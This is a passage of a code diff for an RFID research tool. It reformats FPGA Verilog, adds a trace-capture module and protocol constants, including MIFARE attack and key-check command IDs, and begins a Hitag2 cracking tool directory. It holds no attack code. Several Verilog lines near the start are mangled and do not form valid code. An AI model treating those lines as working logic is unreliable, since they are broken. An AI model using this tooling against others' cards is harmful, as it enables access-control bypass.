(curmin >> 3) + (curmin >> 4)); + curmax <= adc_d > 155 ? adc_d : 155; // to hopefully prevent overflow from spikes going up to 255 state <= 2; end 2: begin - if (adc_d>curmax) + if (adc_d > curmax) curmax <= adc_d; end default: begin end endcase - after_hysteresis <=1'b1; + after_hysteresis <= 1'b1; if(try_sync) - tsinceedge<=0; + tsinceedge <= 0; end else if (adc_d>1)+(curmin>>2)+(curmin>>4)+(curmax>>3)+(curmax>>4)); - curmaxthres <= ( (curmax>>1)+(curmax>>2)+(curmax>>4)+(curmin>>3)+(curmin>>4)); - curmin <=adc_d<`imin? adc_d :`imin; - state <=1; + curminthres <= ( (curmin >> 1) + (curmin >> 2) + (curmin >> 4) + (curmax >> 3) + (curmax >> 4)); + curmaxthres <= ( (curmax >> 1) + (curmax >> 2) + (curmax >> 4) + (curmin >> 3) + (curmin >> 4)); + curmin <= adc_d < `imin ? adc_d : `imin; + state <= 1; end default: begin end endcase - after_hysteresis <=0; + after_hysteresis <= 0; if (~try_sync ) //begin modulation, lower edge... begin - try_sync <=1; - //counting_desync<=1'b0; + try_sync <= 1; fccount <= 1; - did_sync<=0; - curbit<=0; - mid <=8'd127; - tsinceedge<=0; - prv <=1; + did_sync <= 0; + curbit <= 0; + mid <= 8'd127; + tsinceedge <= 0; + prv <= 1; end else begin - tsinceedge<=0; + tsinceedge <= 0; end end else //stable state, low or high begin - curminthres <= ( (curmin>>1)+(curmin>>2)+(curmin>>4)+(curmax>>3)+(curmax>>4)); - curmaxthres <= ( (curmax>>1)+(curmax>>2)+(curmax>>4)+(curmin>>3)+(curmin>>4)); - state <=0; + curminthres <= ( (curmin >> 1) + (curmin >> 2) + (curmin >> 4) + (curmax >> 3) + (curmax >> 4)); + curmaxthres <= ( (curmax >> 1) + (curmax >> 2) + (curmax >> 4) + (curmin >> 3) + (curmin >> 4)); + state <= 0; if (try_sync ) begin - if (tsinceedge>=(128)) + if (tsinceedge >= (128)) begin //we might need to start counting... assuming ARM wants to reply to the frame. - // counting_desync<=1'b1; - bit_counts<=1;// i think? 128 is about 2 bits passed... but 1 also works - try_sync<=0; - did_sync<=0;//desync - curmin <=`imin; //reset envelope - curmax <=`imax; - curminthres <=`ithrmin; - curmaxthres <=`ithrmax; - prv <=1; - tsinceedge <=0; - after_hysteresis <=1'b1; - curbit <=0; - mid <=8'd128; + bit_counts <= 1;// i think? 128 is about 2 bits passed... but 1 also works + try_sync <= 0; + did_sync <= 0;//desync + curmin <= `imin; //reset envelope + curmax <= `imax; + curminthres <= `ithrmin; + curmaxthres <= `ithrmax; + prv <= 1; + tsinceedge <= 0; + after_hysteresis <= 1'b1; + curbit <= 0; + mid <= 8'd128; end else - tsinceedge<=(tsinceedge+1); + tsinceedge <= (tsinceedge + 1); end end - - - if (try_sync && tsinceedge<128) + if (try_sync && tsinceedge < 128) begin //detect bits in their middle ssp sampling is in sync, so it would sample all bits in order - if (fccount==bithalf) + if (fccount == bithalf) begin - if ((~did_sync) && ((prv==1&&(mid>128))||(prv==0&&(mid<=128)))) + if ((~did_sync) && ((prv == 1 && (mid > 128))||(prv == 0 && (mid <= 128)))) begin //sync the Zero, and set curbit roperly - did_sync <=1'b1; + did_sync <= 1'b1; zero <= ~prv;// 1-prv - curbit <=1; + curbit <= 1; end else - curbit <= (mid>128) ? (~zero):zero; + curbit <= (mid > 128) ? (~zero) : zero; - prv <=(mid>128) ?1:0; + prv <= (mid > 128) ? 1 : 0; - if(adc_d>curmaxthres) - mid <=8'd129; - else if (adc_d curmaxthres) + mid <= 8'd129; + else if (adc_d < curminthres) + mid <= 8'd127; else begin if (after_hysteresis) begin - mid <=8'd129; + mid <= 8'd129; end else begin - mid<=8'd127; + mid <= 8'd127; end end @@ -348,26 +308,26 @@ begin begin if (fccount==bitmlen) begin - // fccount <=0; - prv <=(mid>128)?1:0; - mid <=128; + // fccount <= 0; + prv <= (mid > 128) ? 1 : 0; + mid <= 128; end else begin // minimum-maximum calc - if(adc_d>curmaxthres) - mid <=mid+1; - else if (adc_d curmaxthres) + mid <= mid + 1; + else if (adc_d < curminthres) + mid <= mid - 1; else begin if (after_hysteresis) begin - mid <=mid+1; + mid <= mid + 1; end else begin - mid<=mid-1; + mid <= mid - 1; end end end @@ -376,7 +336,7 @@ begin else begin end - sending <=0; +// sending <= 0; end //put modulation here to maintain the correct clock. Seems that some readers are sensitive to that reg pwr_hi; @@ -385,32 +345,26 @@ reg pwr_oe2; reg pwr_oe3; reg pwr_oe4; -wire mod=((fccount>=bithalf)^dlay)&(~disabl); +wire mod = ((fccount >= bithalf) ^ dlay) & (~disabl); always @(ck_1356megb or ssp_dout or power or disabl or mod) +begin + if (power) begin -if (power) - begin pwr_hi <= ck_1356megb; pwr_oe1 <= 1'b0;//mod; pwr_oe2 <= 1'b0;//mod; pwr_oe3 <= 1'b0;//mod; pwr_oe4 <= mod;//1'b0; - end -else - begin - pwr_hi <= 1'b0; + end + else + begin + pwr_hi <= 1'b0; pwr_oe1 <= 1'b0; pwr_oe2 <= 1'b0; pwr_oe3 <= 1'b0; pwr_oe4 <= mod; - end - end -//assign pwr_oe4 = 1'b0;// mod_sig_coil & (modulate_mode)&sending & (~mod_type[2]); -//try shallow mod for reader? -//assign pwr_hi= (mod_type[2]) & ck_1356megb; -//assign pwr_oe1= 1'b0; //mod_sig_coil & (modulate_mode)&sending & (mod_type[2]); -//assign pwr_oe2 = 1'b0;// mod_sig_coil & (modulate_mode)&sending & (mod_type[2]); -//assign pwr_oe3 = 1'b0; //mod_sig_coil & (modulate_mode)&sending & (mod_type[2]); + end +end endmodule diff --git a/fpga/hi_get_trace.v b/fpga/hi_get_trace.v new file mode 100644 index 000000000..aae4054cf --- /dev/null +++ b/fpga/hi_get_trace.v @@ -0,0 +1,162 @@ +//----------------------------------------------------------------------------- +// +// piwi, Feb 2019 +//----------------------------------------------------------------------------- + +module hi_get_trace( + ck_1356megb, + adc_d, trace_enable, major_mode, + ssp_frame, ssp_din, ssp_clk +); + input ck_1356megb; + input [7:0] adc_d; + input trace_enable; + input [2:0] major_mode; + output ssp_frame, ssp_din, ssp_clk; + +// clock divider +reg [6:0] clock_cnt; +always @(negedge ck_1356megb) +begin + clock_cnt <= clock_cnt + 1; +end + +// sample at 13,56MHz / 8. The highest signal frequency (subcarrier) is 848,5kHz, i.e. in this case we oversample by a factor of 2 +reg [2:0] sample_clock; +always @(negedge ck_1356megb) +begin + if (sample_clock == 3'd7) + sample_clock <= 3'd0; + else + sample_clock <= sample_clock + 1; +end + + +reg [11:0] addr; +reg [11:0] start_addr; +reg [2:0] previous_major_mode; +reg write_enable1; +reg write_enable2; +always @(negedge ck_1356megb) +begin + previous_major_mode <= major_mode; + if (major_mode == `FPGA_MAJOR_MODE_HF_GET_TRACE) + begin + write_enable1 <= 1'b0; + write_enable2 <= 1'b0; + if (previous_major_mode != `FPGA_MAJOR_MODE_HF_GET_TRACE) // just switched into GET_TRACE mode + addr <= start_addr; + if (clock_cnt == 7'd0) + begin + if (addr == 12'd3071) + addr <= 12'd0; + else + addr <= addr + 1; + end + end + else if (major_mode != `FPGA_MAJOR_MODE_OFF) + begin + if (trace_enable) + begin + if (addr[11] == 1'b0) + begin + write_enable1 <= 1'b1; + write_enable2 <= 1'b0; + end + else + begin + write_enable1 <= 1'b0; + write_enable2 <= 1'b1; + end + if (sample_clock == 3'b000) + begin + if (addr == 12'd3071) + begin + addr <= 12'd0; + write_enable1 <= 1'b1; + write_enable2 <= 1'b0; + end + else + begin + addr <= addr + 1; + end + end + end + else + begin + write_enable1 <= 1'b0; + write_enable2 <= 1'b0; + start_addr <= addr; + end + end + else // major_mode == `FPGA_MAJOR_MODE_OFF + begin + write_enable1 <= 1'b0; + write_enable2 <= 1'b0; + if (previous_major_mode != `FPGA_MAJOR_MODE_OFF && previous_major_mode != `FPGA_MAJOR_MODE_HF_GET_TRACE) // just switched off + begin + start_addr <= addr; + end + end +end + + +// (2+1)k RAM +reg [7:0] D_out1, D_out2; +reg [7:0] ram1 [2047:0]; // 2048 u8 +reg [7:0] ram2 [1023:0]; // 1024 u8 + +always @(negedge ck_1356megb) +begin + if (write_enable1) + begin + ram1[addr[10:0]] <= adc_d; + D_out1 <= adc_d; + end + else + D_out1 <= ram1[addr[10:0]]; + if (write_enable2) +begin + ram2[addr[9:0]] <= adc_d; + D_out2 <= adc_d; + end + else + D_out2 <= ram2[addr[9:0]]; +end + + +// SSC communication to ARM +reg ssp_clk; +reg ssp_frame; +reg [7:0] shift_out; + +always @(negedge ck_1356megb) +begin + if (clock_cnt[3:0] == 4'd0) // update shift register every 16 clock cycles + begin + if (clock_cnt[6:4] == 3'd0) // either load new value + begin + if (addr[11] == 1'b0) + shift_out <= D_out1; + else + shift_out <= D_out2; + end + else + begin + // or shift left + shift_out[7:1] <= shift_out[6:0]; + end + end + + ssp_clk <= ~clock_cnt[3]; // ssp_clk frequency = 13,56MHz / 16 = 847,5 kHz + + if (clock_cnt[6:4] == 3'b000) // set ssp_frame for 0...31 + ssp_frame <= 1'b1; + else + ssp_frame <= 1'b0; + +end + +assign ssp_din = shift_out[7]; + +endmodule diff --git a/fpga/lo_adc.v b/fpga/lo_adc.v index 57e9eebc8..aba849fcc 100644 --- a/fpga/lo_adc.v +++ b/fpga/lo_adc.v @@ -11,9 +11,8 @@ module lo_adc( pwr_lo, pwr_hi, pwr_oe1, pwr_oe2, pwr_oe3, pwr_oe4, adc_d, adc_clk, ssp_frame, ssp_din, ssp_dout, ssp_clk, - cross_hi, cross_lo, dbg, divisor, - lo_is_125khz, lf_field + lf_field ); input pck0; output pwr_lo, pwr_hi, pwr_oe1, pwr_oe2, pwr_oe3, pwr_oe4; @@ -21,10 +20,8 @@ module lo_adc( output adc_clk; input ssp_dout; output ssp_frame, ssp_din, ssp_clk; - input cross_hi, cross_lo; output dbg; input [7:0] divisor; - input lo_is_125khz; // redundant signal, no longer used anywhere input lf_field; reg [7:0] to_arm_shiftreg; @@ -32,30 +29,38 @@ reg [7:0] pck_divider; reg clk_state; // Antenna logic, depending on "lf_field" (in arm defined as FPGA_LF_READER_FIELD) -wire tag_modulation; -assign tag_modulation = ssp_dout & !lf_field; -wire reader_modulation; -assign reader_modulation = !ssp_dout & lf_field & clk_state; -assign pwr_oe1 = 1'b0; // not used in LF mode -assign pwr_oe2 = 1'b0; //tag_modulation; -assign pwr_oe3 = tag_modulation; -assign pwr_oe4 = 1'b0; //tag_modulation; -assign pwr_lo = reader_modulation; +wire tag_modulation = ssp_dout & !lf_field; +wire reader_modulation = !ssp_dout & lf_field & clk_state; + +// always on (High Frequency outputs, unused) +assign pwr_oe1 = 1'b0; assign pwr_hi = 1'b0; + +// low frequency outputs +assign pwr_lo = reader_modulation; +assign pwr_oe2 = 1'b0; // 33 Ohms +assign pwr_oe3 = tag_modulation; // base antenna load = 33 Ohms +assign pwr_oe4 = 1'b0; // 10k Ohms + +// Debug Output ADC clock assign dbg = adc_clk; // ADC clock out of phase with antenna driver assign adc_clk = ~clk_state; + // serialized SSP data is gated by clk_state to suppress unwanted signal assign ssp_din = to_arm_shiftreg[7] && !clk_state; + // SSP clock always runs at 24MHz assign ssp_clk = pck0; + // SSP frame is gated by clk_state and goes high when pck_divider=8..15 assign ssp_frame = (pck_divider[7:3] == 5'd1) && !clk_state; +// divide 24mhz down to 3mhz always @(posedge pck0) begin - if(pck_divider == divisor[7:0]) + if (pck_divider == divisor[7:0]) begin pck_divider <= 8'd0; clk_state = !clk_state; @@ -66,16 +71,20 @@ begin end end +// this task also runs at pck0 frequency (24Mhz) and is used to serialize +// the ADC output which is then clocked into the ARM SSP. always @(posedge pck0) begin - if((pck_divider == 8'd7) && !clk_state) - begin - to_arm_shiftreg <= adc_d; - end - else - begin - to_arm_shiftreg[7:1] <= to_arm_shiftreg[6:0]; - to_arm_shiftreg[0] <= 1'b0; + if ((pck_divider == 8'd7) && !clk_state) + to_arm_shiftreg <= adc_d; + else begin + to_arm_shiftreg[7:1] <= to_arm_shiftreg[6:0]; + // simulation showed a glitch occuring due to the LSB of the shifter + // not being set as we shift bits out + // this ensures the ssp_din remains low after a transfer and suppresses + // the glitch that would occur when the last data shifted out ended in + // a 1 bit and the next data shifted out started with a 0 bit + to_arm_shiftreg[0] <= 1'b0; end end diff --git a/fpga/min_max_tracker.v b/fpga/min_max_tracker.v index 06a395a70..5e8bbedf1 100644 --- a/fpga/min_max_tracker.v +++ b/fpga/min_max_tracker.v @@ -25,7 +25,7 @@ module min_max_tracker(input clk, input [7:0] adc_d, input [7:0] threshold, always @(posedge clk) begin case (state) - 0: + 0: // initialize begin if (cur_max_val >= ({1'b0, adc_d} + threshold)) state <= 2; @@ -36,7 +36,7 @@ module min_max_tracker(input clk, input [7:0] adc_d, input [7:0] threshold, else if (adc_d <= cur_min_val) cur_min_val <= adc_d; end - 1: + 1: // high phase begin if (cur_max_val <= adc_d) cur_max_val <= adc_d; @@ -46,7 +46,7 @@ module min_max_tracker(input clk, input [7:0] adc_d, input [7:0] threshold, max_val <= cur_max_val; end end - 2: + 2: // low phase begin if (adc_d <= cur_min_val) cur_min_val <= adc_d; diff --git a/include/common.h b/include/common.h index 627846ff2..653000409 100644 --- a/include/common.h +++ b/include/common.h @@ -141,4 +141,10 @@ extern int DBGLEVEL; # define DEC2BCD(dec) HornerScheme(dec, 10, 0x10) #endif +// bit stream operations +#define TEST_BIT(data, i) (*(data + (i / 8)) >> (7 - (i % 8))) & 1 +#define SET_BIT(data, i) *(data + (i / 8)) |= (1 << (7 - (i % 8))) +#define CLEAR_BIT(data, i) *(data + (i / 8)) &= ~(1 << (7 - (i % 8))) +#define FLIP_BIT(data, i) *(data + (i / 8)) ^= (1 << (7 - (i % 8))) + #endif diff --git a/include/hitag.h b/include/hitag.h index 9df93fcf7..af90c9f88 100644 --- a/include/hitag.h +++ b/include/hitag.h @@ -21,6 +21,8 @@ typedef enum { RHTSF_KEY = 02, WHTSF_CHALLENGE = 03, WHTSF_KEY = 04, + RHT1F_PLAIN = 11, + RHT1F_AUTHENTICATE = 12, RHT2F_PASSWORD = 21, RHT2F_AUTHENTICATE = 22, RHT2F_CRYPTO = 23, @@ -44,8 +46,17 @@ typedef struct { uint8_t data[4]; } PACKED rht2d_crypto; +typedef struct { + bool key_no; + uint8_t logdata_0[4]; + uint8_t logdata_1[4]; + uint8_t nonce[4]; + uint8_t key[4]; +} PACKED rht1d_authenticate; + typedef union { rht2d_password pwd; + rht1d_authenticate ht1auth; rht2d_authenticate auth; rht2d_crypto crypto; } hitag_data; diff --git a/include/mifare.h b/include/mifare.h index e278b3794..63b14c117 100644 --- a/include/mifare.h +++ b/include/mifare.h @@ -220,6 +220,20 @@ typedef struct { uint8_t option_version_list[4]; } PACKED felica_request_spec_response_t; +typedef struct { + felica_frame_response_t frame_response; + uint8_t m2c[8]; + uint8_t m3c[8]; +} PACKED felica_auth1_response_t; + +typedef struct { + uint8_t code[1]; + uint8_t IDtc[8]; + uint8_t IDi[8]; + uint8_t PMi[8]; +} PACKED felica_auth2_response_t; + + typedef enum FELICA_COMMAND { FELICA_CONNECT = (1 << 0), FELICA_NO_DISCONNECT = (1 << 1), diff --git a/include/pm3_cmd.h b/include/pm3_cmd.h index 0f7212600..32b2ba35c 100644 --- a/include/pm3_cmd.h +++ b/include/pm3_cmd.h @@ -113,12 +113,12 @@ typedef struct { // A struct used to send sample-configs over USB typedef struct { - uint8_t decimation; - uint8_t bits_per_sample; - bool averaging; - int divisor; - int trigger_threshold; - uint32_t samples_to_skip; + int8_t decimation; + int8_t bits_per_sample; + int8_t averaging; + int16_t divisor; + int16_t trigger_threshold; + int32_t samples_to_skip; bool verbose; } PACKED sample_config; /* @@ -174,6 +174,7 @@ typedef struct { bool compiled_with_hitag : 1; // hf bool compiled_with_hfsniff : 1; + bool compiled_with_hfplot : 1; bool compiled_with_iso14443a : 1; bool compiled_with_iso14443b : 1; bool compiled_with_iso15693 : 1; @@ -188,7 +189,7 @@ typedef struct { bool hw_available_flash : 1; bool hw_available_smartcard : 1; } PACKED capabilities_t; -#define CAPABILITIES_VERSION 3 +#define CAPABILITIES_VERSION 4 extern capabilities_t pm3_capabilities; // For CMD_LF_T55XX_WRITEBL @@ -239,6 +240,14 @@ typedef struct { uint8_t data[]; } PACKED lf_psksim_t; +// For CMD_LF_NRZ_SIMULATE (NRZ) +typedef struct { + uint8_t invert; + uint8_t separator; + uint8_t clock; + uint8_t data[]; +} PACKED lf_nrzsim_t; + typedef struct { uint8_t blockno; uint8_t keytype; @@ -288,6 +297,7 @@ typedef struct { #define CMD_STANDALONE 0x0115 #define CMD_WTX 0x0116 #define CMD_TIA 0x0117 +#define CMD_BREAK_LOOP 0x0118 // RDV40, Flash memory operations #define CMD_FLASHMEM_WRITE 0x0121 @@ -370,12 +380,13 @@ typedef struct { #define CMD_LF_EM4X_READWORD 0x0218 #define CMD_LF_EM4X_WRITEWORD 0x0219 #define CMD_LF_IO_DEMOD 0x021A -#define CMD_LF_EM410X_DEMOD 0x021c +#define CMD_LF_EM410X_DEMOD 0x021C // Sampling configuration for LF reader/sniffer -#define CMD_LF_SAMPLING_SET_CONFIG 0x021d +#define CMD_LF_SAMPLING_SET_CONFIG 0x021D #define CMD_LF_FSK_SIMULATE 0x021E #define CMD_LF_ASK_SIMULATE 0x021F #define CMD_LF_PSK_SIMULATE 0x0220 +#define CMD_LF_NRZ_SIMULATE 0x0232 #define CMD_LF_AWID_DEMOD 0x0221 #define CMD_LF_VIKING_CLONE 0x0222 #define CMD_LF_T55XX_WAKEUP 0x0224 @@ -477,6 +488,7 @@ typedef struct { #define CMD_HF_MIFARE_NESTED 0x0612 #define CMD_HF_MIFARE_ACQ_ENCRYPTED_NONCES 0x0613 #define CMD_HF_MIFARE_ACQ_NONCES 0x0614 +#define CMD_HF_MIFARE_STATIC_NESTED 0x0615 #define CMD_HF_MIFARE_READBL 0x0620 #define CMD_HF_MIFAREU_READBL 0x0720 @@ -488,6 +500,7 @@ typedef struct { #define CMD_HF_MIFARE_CHKKEYS 0x0623 #define CMD_HF_MIFARE_SETMOD 0x0624 #define CMD_HF_MIFARE_CHKKEYS_FAST 0x0625 +#define CMD_HF_MIFARE_CHKKEYS_FILE 0x0626 #define CMD_HF_MIFARE_SNIFF 0x0630 #define CMD_HF_MIFARE_MFKEY 0x0631 @@ -506,11 +519,17 @@ typedef struct { #define CMD_HF_DESFIRE_COMMAND 0x072e #define CMD_HF_MIFARE_NACK_DETECT 0x0730 +#define CMD_HF_MIFARE_STATIC_NONCE 0x0731 // MFU OTP TearOff #define CMD_HF_MFU_OTP_TEAROFF 0x0740 #define CMD_HF_SNIFF 0x0800 +#define CMD_HF_PLOT 0x0801 + +// Fpga plot download +#define CMD_FPGAMEM_DOWNLOAD 0x0802 +#define CMD_FPGAMEM_DOWNLOADED 0x0803 // For ThinFilm Kovio #define CMD_HF_THINFILM_READ 0x0810 @@ -550,6 +569,8 @@ typedef struct { // Error codes Usages: +// Success, transfer nonces pm3: Sending nonces back to client +#define PM3_SNONCES 1 // Success (no error) #define PM3_SUCCESS 0 @@ -587,6 +608,8 @@ typedef struct { #define PM3_EWRONGANSVER -16 // Memory out-of-bounds error client/pm3: error when a read/write is outside the expected array #define PM3_EOUTOFBOUND -17 +// exchange with card error client/pm3: error when cant get answer from card or got an incorrect answer +#define PM3_ECARDEXCHANGE -18 // No data pm3: no data available, no host frame available (not really an error) #define PM3_ENODATA -98 // Quit program client: reserved, order to quit the program diff --git a/include/protocols.h b/include/protocols.h index 2547f01de..e1d898d53 100644 --- a/include/protocols.h +++ b/include/protocols.h @@ -56,6 +56,7 @@ ISO15693 21 = Write Block (usage: 0221+1byte block number+4bytes data+2bytes ISO15693-CRC - answer: 4bytes) 22 = Lock Block 23 = Read Multiple Blocks (usage: 0223+1byte 1st block to read+1byte last block to read+2bytes ISO15693-CRC) + 24 = Write Multiple Blocks 25 = Select 26 = Reset to Ready 27 = Write AFI @@ -239,19 +240,44 @@ ISO 7816-4 Basic interindustry commands. For command APDU's. #define ISO15693_INVENTORY 0x01 #define ISO15693_STAYQUIET 0x02 //First byte is 02 -#define ISO15693_READBLOCK 0x20 -#define ISO15693_WRITEBLOCK 0x21 -#define ISO15693_LOCKBLOCK 0x22 -#define ISO15693_READ_MULTI_BLOCK 0x23 -#define ISO15693_SELECT 0x25 -#define ISO15693_RESET_TO_READY 0x26 -#define ISO15693_WRITE_AFI 0x27 -#define ISO15693_LOCK_AFI 0x28 -#define ISO15693_WRITE_DSFID 0x29 -#define ISO15693_LOCK_DSFID 0x2A -#define ISO15693_GET_SYSTEM_INFO 0x2B -#define ISO15693_READ_MULTI_SECSTATUS 0x2C - +#define ISO15693_READBLOCK 0x20 +#define ISO15693_WRITEBLOCK 0x21 +#define ISO15693_LOCKBLOCK 0x22 +#define ISO15693_READ_MULTI_BLOCK 0x23 +#define ISO15693_WRITE_MULTI_BLOCK 0x24 +#define ISO15693_SELECT 0x25 +#define ISO15693_RESET_TO_READY 0x26 +#define ISO15693_WRITE_AFI 0x27 +#define ISO15693_LOCK_AFI 0x28 +#define ISO15693_WRITE_DSFID 0x29 +#define ISO15693_LOCK_DSFID 0x2A +#define ISO15693_GET_SYSTEM_INFO 0x2B +#define ISO15693_READ_MULTI_SECSTATUS 0x2C +// NXP/Philips custom commands +#define ISO15693_INVENTORY_READ 0xA0 +#define ISO15693_FAST_INVENTORY_READ 0xA1 +#define ISO15693_SET_EAS 0xA2 +#define ISO15693_RESET_EAS 0xA3 +#define ISO15693_LOCK_EAS 0xA4 +#define ISO15693_EAS_ALARM 0xA5 +#define ISO15693_PASSWORD_PROTECT_EAS 0xA6 +#define ISO15693_WRITE_EAS_ID 0xA7 +#define ISO15693_READ_EPC 0xA8 +#define ISO15693_GET_NXP_SYSTEM_INFO 0xAB +#define ISO15693_INVENTORY_PAGE_READ 0xB0 +#define ISO15693_FAST_INVENTORY_PAGE_READ 0xB1 +#define ISO15693_GET_RANDOM_NUMBER 0xB2 +#define ISO15693_SET_PASSWORD 0xB3 +#define ISO15693_WRITE_PASSWORD 0xB4 +#define ISO15693_LOCK_PASSWORD 0xB5 +#define ISO15693_PROTECT_PAGE 0xB6 +#define ISO15693_LOCK_PAGE_PROTECTION 0xB7 +#define ISO15693_GET_MULTI_BLOCK_PROTECTION 0xB8 +#define ISO15693_DESTROY 0xB9 +#define ISO15693_ENABLE_PRIVACY 0xBA +#define ISO15693_64BIT_PASSWORD_PROTECTION 0xBB +#define ISO15693_STAYQUIET_PERSISTENT 0xBC +#define ISO15693_READ_SIGNATURE 0xBD // Topaz command set: #define TOPAZ_REQA 0x26 // Request @@ -279,8 +305,11 @@ ISO 7816-4 Basic interindustry commands. For command APDU's. #define ISO_15693 7 #define FELICA 8 #define PROTO_MIFARE 9 -#define PROTO_HITAG 10 +#define PROTO_HITAG1 10 #define THINFILM 11 +#define LTO 12 +#define PROTO_HITAG2 13 +#define PROTO_HITAGS 14 //-- Picopass fuses #define FUSE_FPERS 0x80 @@ -561,11 +590,34 @@ ISO 7816-4 Basic interindustry commands. For command APDU's. #define HITAG1_HALT 0x70 // left 4 bits only, followed by 8 bits (dummy) page and 8 bits CRC // HITAG2 commands -#define HITAG2_START_AUTH 0xC0 // left 5 bits only -#define HITAG2_READ_PAGE 0xC0 // page number in bits 5 to 3, page number inverted in bit 0 and following 2 bits -#define HITAG2_READ_PAGE_INVERTED 0x44 // page number in bits 5 to 3, page number inverted in bit 0 and following 2 bits -#define HITAG2_WRITE_PAGE 0x82 // page number in bits 5 to 3, page number inverted in bit 0 and following 2 bits -#define HITAG2_HALT 0x00 // left 5 bits only +#define HITAG2_START_AUTH 0x3 // left 5 bits only +#define HITAG2_HALT 0x0 // left 5 bits only + +#define HITAG2_READ_PAGE 0x3 // page number in bits 5 to 3, page number inverted in bit 0 and following 2 bits +#define HITAG2_READ_PAGE_INVERTED 0x1 // page number in bits 5 to 3, page number inverted in bit 0 and following 2 bits +#define HITAG2_WRITE_PAGE 0x2 // page number in bits 5 to 3, page number + + +// HITAG S commands +#define HITAGS_QUIET 0x70 +//inverted in bit 0 and following 2 bits +#define HITAGS_WRITE_BLOCK 0x90 + +// LTO-CM commands +#define LTO_REQ_STANDARD 0x45 +#define LTO_REQ_ALL 0x4A +#define LTO_READWORD 0x40 // read 2 bytes (word) +#define LTO_READBLOCK 0x30 +#define LTO_READBLOCK_CONT 0x80 +#define LTO_SELECT 0x93 +#define LTO_WRITEWORD 0xB0 // write 2 bytes (word) +#define LTO_WRITEBLOCK 0xA0 +#define LTO_HALT 0x50 +#define LTO_TEST_CMD_1 0x0E +#define LTO_TEST_CMD_2 0x6C + +// 0x0A = ACK +// 0x05 = NACK #endif // PROTOCOLS_H diff --git a/pm3 b/pm3 index c3bed278e..d40fb0a91 100755 --- a/pm3 +++ b/pm3 @@ -21,7 +21,7 @@ PM3LIST=() function get_pm3_list_Linux { PM3LIST=() for DEV in $(find /dev/ttyACM* 2>/dev/null); do - if udevadm info -q property -n "$DEV" |grep -q "ID_MODEL=proxmark3"; then + if udevadm info -q property -n "$DEV" |grep -q "ID_VENDOR=proxmark.org"; then PM3LIST+=("$DEV") fi done @@ -29,7 +29,9 @@ function get_pm3_list_Linux { function get_pm3_list_macOS { PM3LIST=() - for DEV in $(ioreg -r -n proxmark3 -l|awk -F '"' '/IODialinDevice/{print $4}'); do + for DEV in $(ioreg -r -c "IOUSBHostDevice" -l|awk -F '"' ' + $2=="USB Vendor Name"{b=($4=="proxmark.org")} + b==1 && $2=="IODialinDevice"{print $4}'); do PM3LIST+=("$DEV") done } diff --git a/tools/fpga_compress/Makefile b/tools/fpga_compress/Makefile index 86c995924..47f3c278c 100644 --- a/tools/fpga_compress/Makefile +++ b/tools/fpga_compress/Makefile @@ -19,3 +19,7 @@ fpga_compress: $(OBJDIR)/fpga_compress.o $(MYOBJS) $(OBJDIR)/libz.a: $(info [*] MAKE zlib) $(Q)$(MAKE) --no-print-directory -C $(ZLIBPATH) OBJDIR=$(ROOT_DIR)$(OBJDIR) BINDIR=$(ROOT_DIR)$(OBJDIR) all + +tarbin: $(BINS) + $(info [=] TAR ../proxmark3-$(platform)-bin.tar) + $(Q)$(TAR) $(TARFLAGS) ../../proxmark3-$(platform)-bin.tar $(BINS:%=fpga_compress/%) $(WINBINS:%=fpga_compress/%) \ No newline at end of file diff --git a/tools/hitag2crack/.gitignore b/tools/hitag2crack/.gitignore new file mode 100644 index 000000000..e69de29bb diff --git a/tools/hitag2crack/crack2/.gitignore b/tools/hitag2crack/crack2/.gitignore new file mode 100644 index 000000000..71494d126 --- /dev/null +++ b/tools/hitag2crack/crack2/.gitignore @@ -0,0 +1,7 @@ +ht2crack2buildtable +ht2crack2search +ht2crack2gentest + +ht2crack2buildtable.exe +ht2crack2search.exe +ht2crack2gentest.exe diff --git a/tools/hitag2crack/crack2/HardwareProfile.h b/tools/hitag2crack/crack2/HardwareProfile.h new file mode 100644 index 000000000..a2f804be6 --- /dev/null +++ b/tools/hitag2crack/crack2/HardwareProfile.h @@ -0,0 +1,524 @@ +/*************************************************************************** + * A copy of the GNU GPL is appended to this file. * + * * + * This licence is based on the nmap licence, and we express our gratitude * + * for the work that went into producing it. There is no other connection * + * between RFIDler and nmap either expressed or implied. * + * * + ********************** IMPORTANT RFIDler LICENSE TERMS ******************** + * * + * * + * All references to RFIDler herein imply all it's derivatives, namely: * + * * + * o RFIDler-LF Standard * + * o RFIDler-LF Lite * + * o RFIDler-LF Nekkid * + * * + * * + * RFIDler is (C) 2013-2014 Aperture Labs Ltd. * + * * + * This program is free software; you may redistribute and/or modify it * + * under the terms of the GNU General Public License as published by the * + * Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE * + * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your * + * right to use, modify, and redistribute this software under certain * + * conditions. If you wish to embed RFIDler technology into proprietary * + * software or hardware, we sell alternative licenses * + * (contact sales@aperturelabs.com). * + * * + * Note that the GPL places important restrictions on "derivative works", * + * yet it does not provide a detailed definition of that term. To avoid * + * misunderstandings, we interpret that term as broadly as copyright law * + * allows. For example, we consider an application to constitute a * + * derivative work for the purpose of this license if it does any of the * + * following with any software or content covered by this license * + * ("Covered Software"): * + * * + * o Integrates source code from Covered Software. * + * * + * o Is designed specifically to execute Covered Software and parse the * + * results (as opposed to typical shell or execution-menu apps, which will * + * execute anything you tell them to). * + * * + * o Includes Covered Software in a proprietary executable installer. The * + * installers produced by InstallShield are an example of this. Including * + * RFIDler with other software in compressed or archival form does not * + * trigger this provision, provided appropriate open source decompression * + * or de-archiving software is widely available for no charge. For the * + * purposes of this license, an installer is considered to include Covered * + * Software even if it actually retrieves a copy of Covered Software from * + * another source during runtime (such as by downloading it from the * + * Internet). * + * * + * o Links (statically or dynamically) to a library which does any of the * + * above. * + * * + * o Executes a helper program, module, or script to do any of the above. * + * * + * This list is not exclusive, but is meant to clarify our interpretation * + * of derived works with some common examples. Other people may interpret * + * the plain GPL differently, so we consider this a special exception to * + * the GPL that we apply to Covered Software. Works which meet any of * + * these conditions must conform to all of the terms of this license, * + * particularly including the GPL Section 3 requirements of providing * + * source code and allowing free redistribution of the work as a whole. * + * * + * As another special exception to the GPL terms, Aperture Labs Ltd. grants* + * permission to link the code of this program with any version of the * + * OpenSSL library which is distributed under a license identical to that * + * listed in the included docs/licenses/OpenSSL.txt file, and distribute * + * linked combinations including the two. * + * * + * Any redistribution of Covered Software, including any derived works, * + * must obey and carry forward all of the terms of this license, including * + * obeying all GPL rules and restrictions. For example, source code of * + * the whole work must be provided and free redistribution must be * + * allowed. All GPL references to "this License", are to be treated as * + * including the terms and conditions of this license text 